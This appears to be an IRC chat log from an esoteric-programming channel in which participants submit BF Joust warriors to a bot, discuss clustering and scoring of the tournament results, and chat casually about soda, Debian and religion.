21:28:42 <elliott> quintopia: btw wiggle3 in egojsout is broken too ofc
21:28:57 <quintopia> fizzie: what clustering alg are you using? it's based solely on win/loss record, yes?
21:29:19 <elliott> fizzie: written an evolver yet? :P
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21:31:03 <fizzie> quintopia: Yes. It's very simple; pairwise distance between A and B is the manhattan distance over the 38*42-dimensional -1/0/+1 duel-score vectors they have against all other programs; then agglomerative hierarchical clustering using "average of all pairwise distances" as a cluster-to-cluster distance metric.
21:31:50 <elliott> You had me at "agglomerative hierarchical clustering".
21:31:52 <fizzie> elliott: Look, ma, no eigenvectors!
21:32:06 <quintopia> fizzie: how did you decide where to make the tree change colors?
21:32:17 <elliott> quintopia: With eigenvectors!
21:32:48 <quintopia> elliott: i suspect it was more a simple threshold :P
21:33:07 <fizzie> quintopia: That's scipy's dendrogram-plotter's default thing. It uses a threshold of 0.7*maximum distance.
21:34:31 <quintopia> did definder fall off the hill? hmm
21:34:47 <fizzie> I think ais523 said it did.
21:36:11 <quintopia> that would explain space_elevator's jump last night. definder was one of the few that beat it.
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21:48:30 <quintopia> looks like i already need to add backup attacks, since i am vulnerable to vibration atm
21:49:00 <fizzie> I also plotteded this thing http://zem.fi/~fis/dpoints.png which is the report.txt duel-matrix, except it also shows shades between -/0/+ so you can see the difference between "beats completely" and "barely manages to win over half".
21:53:08 <quintopia> !bfjoust space_elevator http://sprunge.us/aNhT
21:54:51 <fizzie> Well, depending on which way you read it. Red means "program on this row beats the program on this column".
21:55:20 <fizzie> They're sorted by the tournament score thing, I think.
21:55:21 <quintopia> i figured that's the way you intended it be rea
21:55:47 <quintopia> i makes it be nearly half red and half blue, and therefore highlights the upsets quite well
21:57:13 <quintopia> actually, i'd like to see it sorted by points
21:57:37 <EgoBot> Score for quintopia_space_elevator: 59.0
21:59:34 <fizzie> http://zem.fi/~fis/dpoints2.png -- same data sorted by points, unless I screweded up.
22:00:44 <elliott> fizzie: Plot the difference between score and points in some way that makes the outliers obvious.
22:00:47 <elliott> e.g. low points high score
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22:03:30 <fizzie> I could do a points/scores scatterplot pretty easily.
22:05:23 <quintopia> !bfjoust space_elevator http://sprunge.us/eWbE
22:05:28 <quintopia> i doubt that will improve things at all
22:05:43 <fizzie> http://zem.fi/~fis/pointscore.png -- they're pretty nicely on the line. (X axis has points, Y axis scores; lacking labels at the moment.)
22:05:52 <quintopia> i can't really figure out how the second check throws everything off
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22:06:45 <quintopia> fizzie: can you change the colors of the ones that are most uncorrelated?
22:07:55 <fizzie> Possibly. (Though that plot and the one that does clustering/distances are in different files at the moment.) Away for now though, more graphical misadventures later.
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22:13:05 <quintopia> Gregor: idea for scoring system. one that maximizes the amount of red in the upper section and blue in the lower section in fizzie's graph. experiment: see if the current system already does this.
22:13:44 <quintopia> (i think any such system is inherently fixed point in a way)
22:14:09 <elliott> We really just want a scoring function "S(p) := sum(q : program that p beats) f(S(q))", don't we?
22:14:27 <elliott> That's basically the definition of a fixed-point scoring function.
22:14:38 <EgoBot> Score for quintopia_space_elevator: 59.0
22:14:48 <quintopia> but what should f be to make that happen?
22:14:59 <elliott> quintopia: I was about to say "then you no longer need to find a scoring function, only an f." :p
22:15:53 <elliott> quintopia: You didn't suggest an actual function :P Unless you mean the stuff in the log.
22:15:54 <quintopia> solve the optimization problem i just described and i think you'll have one
22:16:27 <elliott> OK, let's say that f(x) := P(x)/number of programs on the hill, where P is points.
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22:16:36 <elliott> Does that fix-a-point, you think?
22:16:49 <elliott> Because eventually the division stack will get bigger and bigger. :p
22:17:00 <elliott> And that kind of stuff has the mouth-feel of fixed-pointing.
22:17:17 <elliott> f(n) := n/number of programs on the hill.
22:17:25 <elliott> And we start by assuming that S(x) := P(x) for all x.
22:20:28 <elliott> quintopia: And it is also something you could test :P
22:20:49 <quintopia> once i'm finished watching pretty animations
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22:34:11 <quintopia> !bfjoust space_elevator http://sprunge.us/cgcF
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22:37:17 <EgoBot> Score for quintopia_space_elevator: 57.8
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22:40:27 <Gregor> Mmmmm, fresh-made soda.
22:41:41 <elliott> The Debian installer is so awesome.
22:42:10 <elliott> And that is the first and last time, my friends, that I will stoop to *praising an operating system's installation program*.
22:46:13 <Gregor> quintopia: This time I was lazy and decided to order the sample pack of flavorings from SodaStream :P
22:46:21 <Gregor> So I'm having Cranberry-Raspberry.
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22:51:24 <elliott> Gregor: Please make... treacle soda.
22:51:38 <Gregor> Sounds ... "delicious"
22:54:48 <elliott> Gregor: Yes, it does. Do it.
22:55:03 <elliott> You're anosnonosnomic and don't understand TASTE, so shut up and make it.
22:55:29 <elliott> Gregor: If it's easier for you to swallow -- no pun superintendent -- as an American, molasses would also work.
22:56:40 <elliott> Holy shit debian.org redesigned.
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23:10:11 <quintopia> !bfjoust space_elevator http://sprunge.us/KNHK
23:13:19 <EgoBot> Score for quintopia_space_elevator: 59.0
23:17:39 <Gregor> What would you rather I use.
23:18:23 <elliott> I was ENSURING THAT YOU PROPERLY OBEYED MY VISION.
23:18:26 <Gregor> Then why the interrobang‽
23:18:34 <elliott> Gregor: <elliott> I was ENSURING THAT YOU PROPERLY OBEYED MY VISION.
23:19:06 <elliott> <elliott> But, uhh, SHA-512 please.
23:23:30 -!- Sgeo has joined.
23:23:35 <Gregor> Now to integrate animation into the mainline egojsout.
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23:33:16 <elliott> http://media.tumblr.com/tumblr_lfn399bDPY1qb25dg.jpg
23:42:52 * pikhq finds himself completely rejecting notions of an omnipotent, benevolent deity...
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23:44:05 <Sgeo> What about a deity omnipotent as in able to do anything to our world, but has its own limitations within its own.. plane of being
23:44:16 <quintopia> !bfjoust space_elevator http://sprunge.us/WcXQ
23:44:23 <EgoBot> Score for quintopia_space_elevator: 56.4
23:44:25 <Sgeo> Something like artificial life games and us
23:44:39 <pikhq> Sgeo: Clearly he's a dick.
23:44:42 <Sgeo> In theory, we could do anything, in practice, we're not smart enough, or it's otherwise difficult
23:44:56 <elliott> pikhq: Gosh, but who will be our token Christian now?
23:45:21 <pikhq> And it's certainly not worth *caring* about such an ineffective hypothetical deity.
23:45:31 <pikhq> elliott: You'll have to scrounge one up, I guess.
23:45:47 -!- Slereah has quit (Ping timeout: 272 seconds).
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23:45:58 <pikhq> Or I'll have to convert someone. Whilst not convincing myself of anything. :P
23:46:17 <Sgeo_> elliott, would you say we're omnipotent in the Creatures games?
23:46:26 <elliott> It's not like you've ever come across as religious in any way, you're a lousy token Christian. :p
23:46:30 <pikhq> Sgeo: Certainly not.
23:46:34 <elliott> Our minorities statistics are all messed up. Er, Christians are in a minority, right?
23:46:50 <pikhq> elliott: Depends on the context.
23:46:54 <Sgeo_> pikhq, things that we can't alter with CAOS painstakingly, we can in theory hex-edit
23:47:03 <Sgeo_> So we have full control over the Creatures world
23:47:42 <pikhq> elliott: World-wide? I suppose they could kinda count.
23:47:50 <pikhq> elliott: Well, they're at least not a *majority*.
23:48:03 <pikhq> elliott: In most Western nations? Sorry, no.
23:48:11 <elliott> pikhq: They're a plurality, though.
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23:49:10 <Sgeo__> So yeah, I'm installing VirtualBox 4
23:49:15 <quintopia> alright, i can't figure out how to improve this thing. downgrading...
23:49:22 <quintopia> !bfjoust space_elevator http://sprunge.us/VcMe
23:49:24 <pikhq> The Abrahamic religions are most definitely a majority, though.
23:49:28 <EgoBot> Score for quintopia_space_elevator: 64.8
23:49:32 <pikhq> Somewhat broad grouping, but nevertheless.
23:49:52 <pikhq> (and includes at least two groups that seem to hate each other's guts!)
23:50:03 <quintopia> that's the one with all the strange bugs in it that somehow made it do better :P
23:51:02 <elliott> 06:56:19 <Sgeo> I am beginning to believe that Core Wars is dead
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23:51:32 <Sgeo__> elliott, lack of players. As poorly estimated by lack of new documentation available
23:51:41 <Sgeo__> And emptiness of IRC channel
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23:56:21 <elliott> [[That whole site is intended as a joke, I believe. Go take a look at the non-joke languages list, and you'll find most major languages are missing. Java is there, but when you go to the Java entry it is clearly describing it as a joke, and says it is in the joke category.
23:56:21 <elliott> There are a lot of inconsistencies between the lists and the categories, which I suspect is part of the joke.]]
23:56:41 <elliott> Gregor: LANCE WILL TOTALLY BE DONE TOMORROW. TODAY I WAS TOO BUSY PLAYING MINECRAFT.
23:57:48 <Sgeo__> It's almost as though a computer is simulating another computer and running an OS in that simulated computer